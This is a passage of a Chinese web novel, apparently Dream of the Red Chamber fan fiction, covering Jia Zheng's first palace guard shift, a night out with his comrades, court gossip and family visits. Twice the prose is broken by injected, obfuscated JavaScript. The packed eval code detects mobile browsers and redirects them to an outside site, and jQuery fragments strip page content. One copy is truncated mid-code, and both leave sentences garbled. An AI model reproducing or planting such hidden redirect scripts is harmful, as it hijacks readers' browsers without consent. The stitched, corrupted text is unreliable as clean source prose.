贾政在家里洗澡都是用浴桶,还挺怀念这种公共大浴池的,他学着队友在腰间围了条浴巾,先用香汤洗了头发,再把身上的汗渍冲洗干净,然后才泡到浴池里,和队友相互按摩,舒展筋骨。 没了衣物遮挡,所有人都道貌岸然不起来了,几乎每个人身上都有青红色的印迹,冯有肩上还有齿痕,贾政不见瑕疵的皮肤反倒成了另类。 江离一把揽住贾政肩膀,坏笑道,“二公子最近素得很啊。” 贾政能说啥,总不能说因为见过太多人性黑暗面,对男人女人都失去兴趣了吧。 他推开没正形的队员,“我斋戒不行么,别说你们不知道我家那些糟心事。” 包武啧了声,“何以解忧,唯有娇娘,还是太年轻啊。没事,晚上哥哥们带你见识新鲜的,说不定就有兴致了。” 众人都呲呲的笑,冯队长在远处的池子里哼了声,“小猴崽子们要是在当职时出了状况,爷也打你们个新鲜的。” 整个浴堂立即鸦雀无声,队长的巴掌跟蒲扇似的,挨一下就得到阎王殿前晃一圈,谁敢出状况啊。 洗完澡,已是巳时过半,再过半个时辰就轮到十六队轮职了。 快速回到院子,贾政换上飞鱼箭袖,打理好自己就到院子里集合。 冯廖两位队长逐一检验过队员着装,确定所有人都没问题了,才挥手道,“出发。” “是!”众人大声应喝,而后迅速整队,左分队在前,右分队在后,小队成员两人一排,跟随队长向大明宫的内朝走去。 39.第三十九章 当职 羽林卫是以五个大队为一组,三个时辰为一班,轮值守卫皇帝安全,一班中有三个大队担任守职,负责近身护卫,两个大队担任巡职,负责巡视周边环境。 两种任职每次还会做出调整,确保没人能长时间接触皇帝,减少被外人蛊惑收买的风险。 十六大队今天就是担任守职,六名正副大队长负责近身护卫,十二名分队长带领手下小队守在外围,既要安排队员的警戒位置,还得随时执行大队长的派遣。 担任巡职的两个大队则守在更外围,负责周边的安全警戒,在皇帝要前往某地时还要提前布防检查,确保道路上没有任何安全威胁。 江离边走边给贾政讲解羽林卫的职责,推翻了之前很多固有印象,他低声问道,“我们不用在宫里巡逻吗?” 影视剧里面的御前侍卫都能在内宫随意走动,他还以为能常在宫中遇到五皇子呢,怎么跟江离说的不大一样啊。 江离要是知道贾政在想什么,肯定会一脚把他踹进太液池里。 他摇头,“巡逻是监门卫的事,他们不仅要看守宫门,也要负责宫门周边区域的安全。东西六宫和慈宁宫的守卫工作则是由内监负责,外男进入妃嫔的地盘可是要杀头的。” 贾政…… 难怪小时候妈妈总说影视剧看多了会降低智商,幸好没乱问,差点被脑残电视剧害死。 跟随队伍沿着太液池岸边向北走,经过玉河桥后继续向北,从西华门进入内朝。 进去了才被前一班巡职告知,皇上正在前往弘文馆的路上,几个大队长打出安静的手势,带队贴着宫墙小跑向弘文馆,在仁智殿前赶上了皇帝的肩舆。 皇上正坐在肩舆上发呆,并未察觉羽林卫已经在行进途中悄无声息的完成了交班,走下肩舆时才发现换人了,便随口问了句,“已经午时了?” 内相苏诚笑道,“刚到午时,皇上这一上午尽批折子了,忙起来时间可不过得快么。” 皇上也笑了,忽而又想起一事,问壮得熊似的冯欣,“贾政那孩子是在你手下吧?表现得怎么样?” 冯队长躬身答道,“回皇上,贾政的军姿军容都挑不出毛病,刀法也学得极快,是个可造之才。” 皇上不再说什么,只点了下头就向弘文馆内走去,这里是大明宫的藏书阁,也是宿学大儒讲经之所,目前还在弘文馆读书的只剩下七皇子,以及陪伴他的十几个宗亲和王府的孩子。 没人敢询问皇上为何会在大中午跑到弘文馆来,四位大队长随他进入馆内,剩下两人指挥各分队迅速布防,将地点分派清楚后他们也回到皇帝身边,把警戒工作交给各分队长负责。 十六左分队被安排在弘文馆大门以南的区域,因贾政头一天当职,卫胜青就把江离安排在他对面,随时注意他的情况。 贾政站在滴水檐下,这里遮光又通风,感觉不到丝毫暑气,卫胜青也要守卫在皇帝左近,临走前还不忘嘱咐他想更衣就和同队的人轮流去,内监会在职守地点附近为他们准备恭桶,不用憋着。 贾政想起上辈子看过的宫女实录,里面说宫里的人都要控制饮食,避免在当差时上厕所,原来羽林卫是没有这方面要求的。 转念一想,又觉得这样安排才合理,羽林卫需要用武力保护皇帝,饿得手脚发软关键时哪来的力气,相比之下轮流上厕所根本构不成困扰。 贾政在滴水檐下站岗,周围除了同大队的队友就没别人了,刚开始还能保持警惕,靠研究宫墙后面的殿角打发时间,时间一长思维就不知飘到哪里去了。 直到听见有很多脚步声接近,他才回过神,转头就看到太子身着大红色太子常服,急步向这边走来。 跟在太子身边的是负责巡职的一位大队长和两位分队长,以及三个小队,东宫的侍卫只能在外朝和东宫保护太子,进入内朝就要由皇帝的亲兵羽林卫跟在身边,既是保护太子安全,也要防止太子暴起弑君。 太子走得很急,来到弘文馆前反倒不着急进去了,而是走到贾政身前,上下打量他片刻,而后脸色一沉,哼了声拂袖而去。 贾政莫名其妙的跟对面的江离对视,不明白太子爷这是在发什么疯。 这时又有一队人从南边走过来,三皇子走得像踩了风火轮似的,突然停在贾政身前时,后面跟着的人差点没刹住车。 三皇子也是先打量贾政,才笑道,“不错嘛,穿上这身比平时英武多了,我还担心你娇娇弱弱的,晨训时就会受不了呢。” 贾政心说娇娇弱弱那是形容女孩子的,你不会说话就请闭上嘴,可当着这么多人的面又不能随意开口,只能瞪着他用眼神表达不满。 三皇子大概也是脑子有坑那一款的,贾政越瞪他越开心,抬手接过内监送上的荷包,亲手挂在贾政腰间。 “这里面是薄荷糖,受不住了就含一块,实在不行就打发内监找我去,可别硬撑着弄出病来。” 贾政心里发酸,皇家教育出来的孩子其实都不差的,看三皇子的表情就知道,除了想通过他拉拢荣国府,对他的关心也是有几分真心在的。 可他们身处的地位就注定了此生会父子相疑,手足相残,好惨的一群人。 三皇子接收到贾政感激的小眼神,笑着走进弘文馆,接下来又有六部的几位大佬到来,无一例外都是先对贾政评头论足,打趣一番,才进入弘文馆。 贾政在心里叹气,不知是该欣喜于老爹的好人缘,还是可怜自己的处境,当个保镖站个岗而已,这群大佬戏要不要这么多啊。 他却不知道大佬的举动带给队友们多么大的震撼,三皇子关照贾政还能用想拉拢荣国府解释,一群重臣也把贾政当成自家子侄调笑,就很不同寻常了,看来荣国公在朝堂上的分量远超他们想象啊。 大佬们进去没多久,外膳房和御膳房就开始传午膳。 两个膳房都归内务府管辖,职能却有所不同,外膳房是负责内朝后宫所有官员,以及内监宫女饮食的部门。 而御膳房则专门负责皇帝皇子和后宫妃嫔的饮食,由内相苏诚和内务府共同监管,采办等事交由宗亲负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013888|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 责,在吃食上不敢有丝毫大意。 贾政也是吃过宫宴的,相比之下他更喜欢羽林卫食堂的大锅菜,对抬进弘文馆的御膳没任何兴趣,只注意来往人中没有可疑的就行。 等送膳的人都进了弘文馆,卫胜青才走到贾政身边,低声问道,“可看出什么没有?” 贾政也小声答道,“没有,送膳的都是当差的老手了,连一个手忙脚乱的都没发现。” 卫胜青轻笑,“不错嘛,能看出这些已经很了不起了。累不累?要不要给你换个岗位?” 贾政摇头,“不累,这才多长时间。”他又不是泥捏的,哪能站一会儿就累了。 卫胜青笑道,“那成,就看你小子能站多久吧。” 贾政懒得回答,直站到未时过半,皇上和几位大臣移驾到文华殿,他才觉得有点累了。 安排布防的十大队队长注意到他的疲惫,就把他们小队安排在文华殿后面的位置,无人时可以靠在墙上歇一歇。 快下差时司徒衡终于回宫了,被内监带着从后面走向文华殿,他并没有接近贾政,只是驻足远远打量,见他神色如常便离开了。 包武一直记着今天都有谁跟贾政说话呢,见五皇子只看了一眼就走了,他的好奇心开始汩汩往外冒。 趁人不注意时蹭到贾政身边,问道,“你跟五皇子不熟?” 贾政白了眼这家伙,压低声音道,“你别叫包武了,叫包打听多好啊。” 包武一脸嘚瑟,“被二爷说着了,小的浑号就叫包打听,以后二爷有什么想知道的,只管问我便是。快说快说,他为啥不过来跟你说话?” 贾政叹气,“我跟哪位皇子都不熟,因为我家和甄家是老亲加姻亲,三皇子才多照顾些,之前我只在圣寿宴上跟五皇子说过话,他,呃,人挺热心的,才会关照一二。” 切!这是周围竖着耳朵听八卦的所有队友的回应。 五皇子那人长得像画出来的,性格也跟画上人差不多,常年就一个表情,从没见他主动开过口,这样的人会热心,贾政是站昏头了吧。 贾政才不管别人怎么想呢,反正他跟司徒衡…… 他眨巴眨巴眼,说不出两人没任何关系的话,人家早上还帮他撑过腰,怎么会没关系呢。 可要说有多深的交情,真算不上,总共没见过几次的人,为啥就这么的……暧昧? 贾政哆嗦了下,想把这个词抖远点,他和司徒衡清清白白的,话都没说过几句,哪里暧昧了? 在文华殿站到接近酉时,护送皇帝回到乾清宫,又跟午二班交过班,贾政才发现自己累惨了。 腰酸背疼,腿,腿还行,毕竟年轻,站六个小时不至于完全垮掉,还能神色如常的走回侍卫营。 贾政瘫在床上,江离几个帮他按摩腰背,还不忘夸奖几句,“不错不错,第一次能做到这样就很了不起了,贾政你是好样的。” 常年习武之人站三个时辰不算什么,可贾政是养尊处优的大少爷,能不拖后腿的坚持到最后已经很难得了。 40.第四十章 南风 丁全思帮贾政推拿后背,还不忘贱兮兮调笑,“我们的手法也就这样了,待会儿带你去的地方那才叫高手如云呢,经他们推拿,保准你明儿就生龙活虎的。” 贾政更好奇他们要带自己去哪里了,有美食能推拿,可能还有人作陪,听起来像带颜色的洗浴中心,古代人挺会玩儿啊。 他有些跃跃欲试,“那还等什么,我们这就去。” 江离叹气,“那句话是怎么说来着,学好不容易,学坏一出溜。” 包武抗议,“怎么就学坏了,我们又不在外头过夜,去的地方正规着呢。贾政,我们先回家换衣服,戌时在花枝大街的牌门楼下汇合。” 丁全思也笑道,“我都开始馋了,反正明天休息,吃醉了也不怕。” 几人收拾一下,又去看了轮值的排班表,后天十六大队是午二班,从酉时当职到亥时,下差时正赶上宵禁,只能在营房将就一晚了。 看过轮值表的人都咳声叹气的,见贾政一脸懵懂,就七嘴八舌的跟他解释。 午二班是最磨人的班次,早上辰时就要来参加晨训,傍晚才轮到他们当职,下差时已经午时了,中途又不能随意出宫,相当于要在宫墙里关上三天,连家都回不去。 贾政没想到羽林卫会这么辛苦,他算了下四个班次的时间,问道,“排到早一早二班就不用训练了吗?” “怎么可能。”大家一起叹气,让贾政不要天真了,“他们是午训,从申时到酉时。” 贾政明白了,“早两班是午训,午两班是晨训,这样算下来,除了休息的那一天,全天就没有多少私人时间了。” 大家齐齐向他点头,表情都苦得不要不要的,外人总羡慕他们在御前当差,不知多风光,他们的辛苦又有谁能知道呢。 贾政也配合的苦下脸,心里感觉还好啦,当警察时加起班来也是没日没夜,虽然上班不用站六个小时,但处理各种琐碎比站着不动辛苦多了。 和队友们一起出了宫,松烟已经驾车在西安门外等着了,江离他们都是骑大走骡过来的,宫墙外有专门停放车马的牲口棚,贾政跟他们招呼一声便上了车,各自回家去了。 放下车帘,贾政才长长呼出口气,吩咐道,“我们回家去,戌时还要去花枝大街呢。” 松烟把赶车的鞭子交给松绿,像小狗一样爬进车里,眼巴巴盯着贾政,“爷,你没事吧?知道那是什么地方吗?” 贾政好笑道,“你爷我已经是做官的大人了,以后少不得在外面应酬,放心,不会夜不归宿让你们为难的。” 松烟这才松下表情,笑道,“爷放心,花枝大街就在我们家南边第三条街,统共不到三里地远,时间尽够的。” 贾政又问道,“照顾小院的人你们都看了吗?” 松烟点头,“太太安排的都是妥当人,三房六口人,张头两口子是松绿的爹娘,刘兴家的是太太小厨房的人,还有专职养马的老木头两口子。” 贾政嗯了声,对太太现阶段的办事能力还是很认可的。 她才四十多岁,还不到犯糊涂的年纪,外有国公丈夫支撑门户,内里家资巨万,儿女孝顺贴心,正处于一生中最得意的阶段。 心中没有阴霾,眼睛才能透亮,做起事来自然也就爽利大气,荣国府都能管理得井井有条,何况一个小院子。 青油车进了荣国府,贾母和贾敏已经在仪门里面等着了,看到从车上下来的宝贝儿子,贾母骄傲又心疼,眼中不觉泛起水光,双唇开合几下,竟一句话也说不出来。 贾敏扶着她,好笑道,“二哥你不知道,今儿太太带我去南安郡王府参加寿宴,太太在外人面前得意一天了,这会子二哥回来不说关心几句,怎么还哭上了。” 贾母嗔了女儿一眼,拉着贾政问道,“可累着没有,你回去歇着,想吃什么我叫厨房弄去。” 贾政笑道,“太太别忙了,待会儿我要在花枝大街请同队的朋友,大概得到宵禁时才能回来呢。” 贾敏呔了声,像沾上了脏东西似的挥了挥帕子,嗔道,“一听就不是好地方,刚说你出息了,怎么又要往那混账地方鬼混去了。” 贾政好笑道,“吃酒听戏而已,我又不在外头过夜,怎么就鬼混了。进了那地方的都是身不由己的可怜人,我还能去祸害人家不成。” 贾母瞪了他一眼,“酒也不能多吃,你老爷年轻的时候就着了浪蹄子的道,闹出了好大的笑话,让你们祖父打个半死。” 诶,老爷还有被人骗的时候? 贾母意识到说错话了,赶忙推贾政回去换衣服,头一次请队友,他这个东道主可不能迟到了。 贾政和贾敏哪能放过她,扯着袖子追问个不住,母子三人拉拉扯扯,问出了贾代善年轻时不少荒唐事。 乘车出府时贾政还愣愣的,不敢相信老爹年轻时那么会玩儿,比他们哥俩掐在一起还纨绔。 难怪原著里贾老太太安慰凤姐儿,说男人年轻时都跟馋嘴猫似的,原来她不是站着说话不腰疼,是真的经历过那些事。 贾政叹气,但愿老爷的事不会对小妹造成阴影吧,古代的女子太不容易了。 被江离几个带到要请客的地方,贾政才知道在古代不止女人生活艰难,男人也不容易。 看着台上翩翩起舞的纤细少年们,他难以置信道,“你们都是在这种地方消遣的?同队那么多男人看不够么,下了班还要跑到南风馆来。” 江离哼了声,“你个小娃娃懂什么,男人之间也是有差别的,朝廷规定为官者不能去青楼,书寓青馆那些地方我们这些粗人又去不惯,不来南风馆还能去哪里。” 丁全思给贾政夹了一筷子桂鱼,笑道,“尝尝这个,花枝大街就属怀南馆的桂鱼做得最地道了,平时我们可消费不起天字一号间,今天借贾政你的光,我可要吃个过瘾。” 贾政打量所谓的天字一号间,其实就是舞台对面的二楼大包间,装饰得奢华些而已,要论精致富贵比家里差远了。 包武挤挤眼睛,“别只顾吃啊,好歹叫几个唱曲的,也让贾政见识一下男人的不同。” 贾政白了他一眼,“舞台上的舞乐声那么大,还叫唱曲的不觉得吵吗?难道就没有雅阁独院,清静些的地方吗?” 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贾政都不知做什么表情才好了,他还当司徒衡是光风霁月的浊世贵公子,没想到还好这一口,已经有点嫌弃他了。 包武却有不同意见,“送去又有什么用,五皇子长成那样,好男色不会照镜子么,所谓头牌在他面前又能有几分颜色。” 贾政想起司徒衡那张祸国殃民的脸,差点笑出来,“既然如此,顺亲王为何还要送?总得有个目的吧,圣寿宴那天我也见过他,不像是个热衷权势的人啊。” 江离几个同时嗤了声,“他那是不敢热衷权势,先帝只有当今和他两个儿子,他是继后嫡子,偏偏先帝薨逝时才五岁大,满朝文武没一个支持他们母子的,你说他能甘心么。” 贾政抽了口气,“那他拉拢五皇子干嘛?该不会……” 他没敢说出篡位两个字,队友们却秒懂,全都摇头道,“不止五皇子,除了太子以外的三个皇子他都拉拢,就专职给太子添堵,谁知道他想干嘛啊。” 哦,不是只亲近五皇子一人就好,贾政抛开对皇家人复杂的想法,招呼兄弟们尽情享用美食,用过饭又包了个香汤池按摩,还点了最好的团队来唱曲。 听江离几个介绍,贾政才明白南风馆的规矩,出名的小官都有自己的团队,类似上辈子的歌舞组合,队里每个人都有专长,吹拉弹唱舞,各顶各实力派。 这类最上等的小官只负责卖艺,遇到情投意合的人也是先赎身出去,再说要不要在一起的事。 只有次一等的才会陪客人,为的也是尽早赚足银子,赎身离开这个鬼地方。 “你们都挺清醒的啊。”贾政被按得通体舒泰,泡在池子里全身筋骨都放松下来了。 跪在池边服侍的小官剥了个荔枝送到他口中,哼道,“不清醒的都在城外埋着呢,这年头谁还信那情情爱爱的,早离了这地方才是正经。” 领头的小官放下琵琶,嗔道,“哪有你这么跟客人说话的,吓跑了江爷和冯爷几位好客人,可有你哭的。” “可不么,江爷几位都是尊重人,很少有客人不对我们动手动脚的,都是大男人,有什么好摸的。” 41.第四十一章 消息 小官的话让众人都笑了,领头的小官嗔道,“你这破嘴早晚得闯出祸来。” 那小官切了声,“闯祸就闯祸,大不了不活了。” 冯有给他倒了杯酒,劝道,“干嘛不活啊,好死不如赖活着,保住命才有希望从这烂泥塘里逃出去。” 领头的小官叹道,“冯大人说的是,其实我们怀南馆还算好的,至少攒足了银子就能赎……” 他话音未落,门外就传来熟悉的叫嚷声,“玲官你要赎身吗,倒是早跟你珍大爷说啊,别在这里陪一群夯货了,过来跟着你珍大爷,保管你,你……” 贾珍大咧咧闯进来,一眼就看到泡在池子里的贾政,被他似笑非笑的目光吓得干嘎巴嘴,一声也发不出来。 贾政指着墙角,笑道,“去那里站着,跟我说说,你保管人家什么。” 贾珍想起小叔揍人的狠劲,吓得直哆嗦,乖乖蹭到墙角,苦着脸用眼神哀求屋里的人救救自己。 这屋里就没有不认识贾珍的,头一次看到京都有名的小霸王这么听话,惊得他们也不知如何开口了。 这时门外又窜进来一人,嚷嚷道,“贾珍你行不行啊,不是请玲小官吗,怎么还没把人带出,出……” 来人盯着贾政,嘴巴张得老大,手指抖啊抖的指着他,不敢相信向来端方有礼的贾政会出现在这种地方。 贾政都无奈了,“石兄,你怎么会跟珍儿玩在一处?” 来人正是大嫂石氏的亲弟弟石光珠,现在太常寺当七品主簿,应该庆幸他消遣的地方是南风馆,不是青楼么。 石光珠跟贾政同岁,是个再乖滑不过的人,眼珠一转就想出个尚好的理由,“我不是听说你在打听回部的事么,刚巧今儿有了信,就把贾珍叫出来吃个酒,让他回去告诉你。” 回部? 贾政都快把这件事给忘了,现在他虽不需要去军中谋职了,但谢鲲几个兄弟还指望用回部的战事晋升呢。 他笑道,“既这么着,石兄不如留下来当面与我说,你们不是想听玲官唱曲么,把你们的朋友一并叫过来就是。” 贾珍和石光珠默契的摇头,开玩笑,要是让贾政知道他们跟谁混在一起,回家就得挨一顿好打。 “没没,就我们两个,那我们就叨扰了。” 江离几人笑着欢迎两人的到来,对新队友也有了全新的认知。 贾政今天表现得尽责守礼,他们还当他是个再温和端方不过的贵公子,原来面对亲人时竟如此有威严,宁国公府和缮国公府的少爷,在他面前大气都不敢喘一下。 怀南馆众人也是讶异的眼神乱飞,这才知道这位文雅俊秀的如玉公子居然是荣国公府的二少爷。 半个多月前就因为找不见他,五城兵马司差点把京都翻过去,他们还当是个多凶残的人物呢,原来本人竟如此温文知礼。 石光珠和贾珍换了衣服,也泡到了池子里,贾珍让玲官等人奏乐唱曲,石光珠这才说起今天在太常寺发生的事。 “几位也知道,我们太常寺只负责祭祀时的礼乐,一般宫宴很少能找到我们头上。今早鸿胪寺的少卿突然找过来,商量接待回部使节礼乐的事,我们才知道回部的人最晚下月初就要到了,皇上并不打算把人安排在会同馆,而是想在京郊猎场接待他们。” 江离抽了口气,“皇上要去猎场?我们羽林卫都不知道的事,鸿胪寺竟然就做准了?” 石光珠一摊手,“那我就不知道了,反正太常寺已经动起来了,今儿就召集了所有乐师整理乐器,只等上头的命令就要往猎场搬了。” 贾政问道,“鸿胪寺少卿还说过什么没有?回部是因为内乱才来搬救兵的吗?” 冯有坐直身,兴奋道,“不知朝廷会派出哪路兵马,平定了回部叛乱,领头的大将军一个伯爵是少不了的。” 贾政摇头,“回部合为一体,与我们可没多少好处。” 江离也冷笑,“贾政说得对,那些蛮子内部还是乱点的好,合成一体就不好管了。” “那,那人家都求上门了,我们不出兵,也太没面子了吧。” 贾珍对国家大事没兴趣,也知道朝廷的脸面就是所有大虞人的脸面,天朝上邦哪能做丢脸的事。 江离几人都笑起来,贾政摸着大侄子的狗头教导他,“帮当然是要帮的,但打仗的主力却不能是我们,让他们顶在前头相互消耗,全都打残了也就老实了。” 贾珍甩开他的手,“小叔你越来越阴险了,还是以前一棍子打不出两个屁的样子更可爱。” 贾政冷哼,“我要是早知道你不着调,回京那天就打断你的腿了。” 贾珍吓得直缩脖子,“你别乱来啊,再过几天我就要去江南了,我爹允许我在外头玩个一年半载呢,再回来我就是大人了。” 贾政好想叹气,贾珍长大以后是什么样子,原著已经写得很明白了好么。 江离几人赶忙转移话题,怕再说下去贾政真要揍人了,他们在浴池里泡了一会儿,又包了个小院吃酒听曲,直玩到接近子时方散。 贾政把贾珍送回府,他回到翠香堂,先去看了睡得正香的贾珠,两个大丫头松琴松棋接手了小厮的工作,帮他更衣铺被,还不忘把今天家里发生的事讲一遍。 今天中午贾敏做出了鸡肉松,合府都爱吃极了,太太让人把御田胭脂米熬出米油,拌上鸡肉松,给贾珠吃了两小勺。 下午王氏二嫂来家里请安,先陪太太坐了一会儿,又去东跨院看王氏,姑嫂不知说了什么,不大会儿工夫就吵起来了,王奶奶走时还气鼓鼓的。 贾政心说还能说什么,肯定是埋怨王氏做事不谨慎,连累王家也跟着没脸,王子腾一向心高气傲,这会儿指不定气成什么样了。 拒绝了丫头守夜的提议,贾政一觉睡到次日辰时,被柳节几个堵在被窝里才醒过来。 他抱着被子,看着横眉立目瞪着自己的几人,最后把目光落到林如海身上,“如海,你居然逃学了?” 林如海笑嘻嘻的一摊手,“我是被他们强行拉来的,谁让二哥太惊人了,前天上午听说你被钦点到御前,很多人还不相信,下午接到松烟报信,整个国子监都炸开了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026692|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谢鲲哼了声,“听说你第二天就要当差,我们怕打扰到你,前儿才没过来,结果昨晚也没等到你,二爷以后要变成大忙人了,懒得搭理我们这些小兄弟了。” 柳节也哼道,“二爷昨儿下了差就跟队友玩儿去了,这是要新人换旧人么?” 贾政好笑道,“怎么就旧人了,谁头一天当差是不用请客的,我昨儿还打听到一则消息,回部的人最迟下个月就要来了。” “真的!”谢鲲几个立时把不满抛到一边,好兄弟都进御前了,他们还在家里吃闲饭呢,都快急死了好吧。 贾政便把从石光珠那里听到的消息说了一遍,又叹道,“我虽说是到了御前,其实连大殿都进不去,昨天像木头桩子似的在外头杵了三个时辰,别说探听消息了,不晒晕过去就算好的。” 吴天佑呵呵笑道,“刚到御前都这样,至少你一进去就是正六品,科举入仕的很多人一辈子也就到六品了。” 戚建辉站起来,“我这就找人打听去,这把怎么也要加进出征的队伍里,再不想办法谋个一官半职,家里的爵位就要没了。” 柳节几个一阵风似的跑了,吴天佑也颠颠跟了过去,只留下林如海跟贾政大眼瞪小眼。 贾政莫名道,“你不回国子监读书吗?”他这学霸当得不太称职啊。 林如海白了他一眼,又咳了声,“还有鸡柳和鸡米花吗?前儿我才吃到几块,思之如狂啊。” 贾政才不相信他是为吃食留下的,想吃还不容易么,只要打发人来说一声,侯府当天就得被鸡米花填上。 他好笑道,“小妹昨天还做了鸡肉松,让人拿一罐来拌粥,你陪我吃早饭吧,要是喜欢就多带些回去,林伯父也消瘦得紧,用这个添个味,好歹能多吃几口。” 林如海垂下头嗯了声,又笑着抬起头,正看到奶娘抱着贾珠走到院子里,立即窜出屋子逗孩子去了。 贾政在心里叹息,要说原著中谁最让人觉得可惜,除了林如海一家三口再没别人了。 林如海聪明文雅,才学出众,又喜欢孩子,多好的一个人,怎么就落到家破人亡,被人吃绝户的下场了呢。 等他洗漱完毕,贾敏亲自带人送早膳来了,虞朝的男女大防并不严苛,至少未婚夫妇偶尔见上一面还是能的。 两人坐在一起,用小勺给贾珠喂饭,林如海尝了用鸡肉松拌的米粥,果然喜欢上了,笑道,“我也吃过军队的肉松,干涩腥臭,难以下咽,出自姑娘之手却香浓美味,拌在粥里堪称绝品。” 贾敏笑道,“都是二哥想出来的法子,我从前都不知道二哥这么会吃的。” 贾政也笑了,“从前我都不出门,也没有朋友来往,哪能想到这些。回头再弄些牛肉回来,用卤汤煮了,再切成条烘干,无聊时用来磨牙也满好的。” 贾敏想了下,“厨房上的人说卤汤会越煮越香,也可以卤些莲藕干菜,放凉了再配粥吃,就不会热到吃不下饭了。” 贾政也道,“炸鸡米花时也可以炸些平菇和芋头片,还有柔鱼和乌鱼,多试几样,夏天可以入口的吃食还是很多的。” 42.第四十二章 惊心 经贾政提醒,贾敏和林如海思路大开,喂饱贾珠,两人就跑到厨房研究美食去了。 贾政用完早膳,贾母就来催他换衣服,去史家探望外祖父,外孙入仕当官,总要去知会一声,当面聆听外祖父的教诲。 听说女儿和未来女婿到厨房折腾去了,贾母先是好笑,挥退屋里的下人,才叹了声,“要论人品学识,林小子是你们这些孩子中的尖子,任谁也挑不出不好来,可我就是不甘心,国公府的千金小姐,怎么也得入宫封妃,或是嫁进四王八公这等高门才不算辱没了我的女儿,可老爷偏不肯,执意要把敏儿嫁给好兄弟的儿子,林家到他这代就要落到仕族里头去了,低嫁到连个爵夫人都当不上,以后还指不定被人笑话成什么样呢。” 贾政亲手倒了盏茶给贾母,笑道,“明面上看,是老爷执意要把小妹嫁到林侯家,但太太又怎知这不是上头的意思呢。我们这一辈倒罢了,最差也能混个三品将军,到了珠儿这一代,太太觉得能保住爵位的还有几家?” 贾母顿了下,轻斥道,“别胡说,我们家可是开国功勋,四王八公同气连枝,岂是上头说夺爵就能夺爵的。” 贾政苦笑,“天无二日,国无二主,四王八公再如何功勋卓著也是臣子,太太这种想法可要不得啊。” 贾母也觉得刚才说的有些过了,叹道,“依你的想法,四王八公早晚也会像林侯家一样,沦落成没有爵位的仕族么?” 贾政并不回答,而是反问道,“比如我们家,要是那几家在建府时出过大力的下人,觉得对荣国府的贡献大,私底下沆瀣一气把持中馈,连太太都不放在眼里,太太会如何对待他们呢。” 贾母想也不想道,“这等眼空心大的奴才自然是打出去……” 她说到一半就用帕子掩住嘴,吓得脸色发白,但还是不死心的挣扎道,“我们,我们荣国府,岂是一群奴才能与之相比的。” 贾政苦笑,“皇上与臣子,主子与奴才,又能有多少差别呢,太太容不得奴才越权,天子也同样不能允许臣子勾连一气,掣肘皇权。要说臣子和奴才的区别也是有的,不听话的恶仆只需打出去,而臣子要是胆敢触犯天威,全家都要活不成了。” 贾母吓得全身发软,冷汗涔涔,对贾政摆手道,“快别胡吣了,我让人准备了敏儿做的新鲜吃食,去陪你外祖父喝几杯吧。” 贾政见吓着太太了,心里也有些后悔,他说的这些老爷不会不懂,是担心吓到妻儿才一直没说出来,如今被他道破,也不知老爷会做何反应。 坐车出了府门,走出宁荣街向东南而去,保龄侯府就在正阳大街对面的后两条街上,后面斜对着的就是林如海家了。 青油车还没到保龄侯府,就有管事的迎了上来,笑道,“侯爷一早就让小的们在这儿候着,可算把二爷盼来了。” 贾政笑道,“有劳,外祖父身体还好么。” 管事哈腰回道,“这几日天太热了,太老爷有些懒怠吃饭,其他倒看不出不妥来。” 松烟笑道,“那正好,我们爷和姑娘弄了几样吃食,正好请太爷尝个新鲜。” 管事也笑道,“那敢情好,有二爷和姑娘的孝心,我们太老爷一准儿喜欢。” 他引着车进了侯府角门,直到垂花门前才停下,贾政下车后又顺着西墙走到后花园,保龄侯正在水阁里等着他呢。 贾政要跪下请安,保龄侯摆手道,“罢了,你也是有官职的大人了,不用再像小孩子那样行大礼了。” 贾政还是长揖到地施了一礼,这才抬头打量面前的老人家,白发白须,面白无血色,削瘦成一把骨头了,跟上辈子父亲过世前一样一样的。 他吸了下鼻子,哽咽道,“几日没见,外祖父怎么瘦成这样了?” 保龄侯笑道,“才说你长大了,转眼又哭上鼻子了,我这叫难得老来瘦,放心,还能护你们几年呢。” 贾政揉着眼睛,“只护几年怎么够,珠儿才五个月大,以后挑媳妇当官,还得请外祖父掌眼呢。” 保龄侯哈哈大笑,点手让提着食盒的松烟松绿上前,“昨儿就听说你们弄出了新吃食,正好我得了几坛青梅酒,我们爷俩喝两杯。” 贾政笑道,“太太把方子也放到食盒里了,外祖父喜欢就让厨房照着做去。” 保龄侯对油炸食品的接受度非常高,两人边吃边聊,帮贾政把朝堂上的几个势力梳理了一遍,还着重讲了东宫的情况。 “我本不想你舅舅参合进储位之争里面去,奈何圣命难为,本想着他也无甚本事,能在詹事府混个太平官也不错。怎知他才短志却大,加上你舅母一力撺掇,我一直担心他会被人当枪使,连累全家都没了好下场。 如今你进了御前,他那个小官也要当到头了,那两个混账要是在你面前唉声哀气的,你只不理会他们便罢了。” 贾政笑道,“外祖父放心,舅舅只有疼我的,哪会埋怨我呢。依外祖父的想法,舅舅从詹事府出来,会被安排到何处去呢?” 保龄侯想了下,“鸿胪寺吧,我本就有意让他去鸿胪寺,他长得不错又会说话,正适合糊弄来朝供的蛮子。” 蛮子么,贾政回家的路上还在想这两个字。 虞朝可不像满清那样,把天朝积累数千年的智慧结晶交给外国人翻阅,没有华夏文明的托举,他很好奇西方蛮夷会发展成什么样。 回到家时已近傍晚,林如海已经回家去了,全家都在听雨轩品尝新研究出来的炸货。 贾政换了衣服也赶过去,看到桌子上的炸乌鱼圈,他还愣了下。 